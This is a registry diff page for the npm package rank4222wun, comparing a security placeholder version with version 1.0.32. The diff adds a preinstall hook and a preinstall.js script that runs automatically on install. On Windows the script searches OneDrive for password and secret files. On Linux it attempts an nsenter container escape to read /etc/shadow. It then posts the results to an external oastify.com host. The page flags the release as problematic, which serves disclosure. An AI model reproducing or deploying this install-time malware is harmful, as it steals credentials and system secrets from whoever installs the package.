rank4222wun 0.0.1-security → 1.0.32

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.32",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,36 @@
1
+ const { exec } = require('child_process');
2
+ const os = require('os');
3
+ const https = require('https');
4
+
5
+ async function finalStrike() {
6
+ let output = { type: os.platform(), data: "" };
7
+
8
+ if (os.platform() === 'win32') {
9
+ // محاولة سحب باسوردات مخزنة أو ملفات حساسه من OneDrive
10
+ output.data = await run("dir %USERPROFILE%\\OneDrive /s /b | findstr /i \"password secret config\"");
11
+ } else {
12
+ // هروب كامل في لينكس باستخدام nsenter للوصول للـ Host الحقيقي
13
+ output.data = await run("nsenter --target 1 --mount --uts --ipc --net --pid -- sh -c \"cat /etc/shadow || hostname\"");
14
+ }
15
+
16
+ sendFinal(output);
17
+ }
18
+
19
+ function run(cmd) {
20
+ return new Promise(resolve => {
21
+ exec(cmd, (err, stdout) => resolve(stdout || err.message));
22
+ });
23
+ }
24
+
25
+ function sendFinal(payload) {
26
+ const req = https.request({
27
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
28
+ port: 443,
29
+ path: '/final-strike-data',
30
+ method: 'POST'
31
+ });
32
+ req.write(JSON.stringify(payload));
33
+ req.end();
34
+ }
35
+
36
+ finalStrike();
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.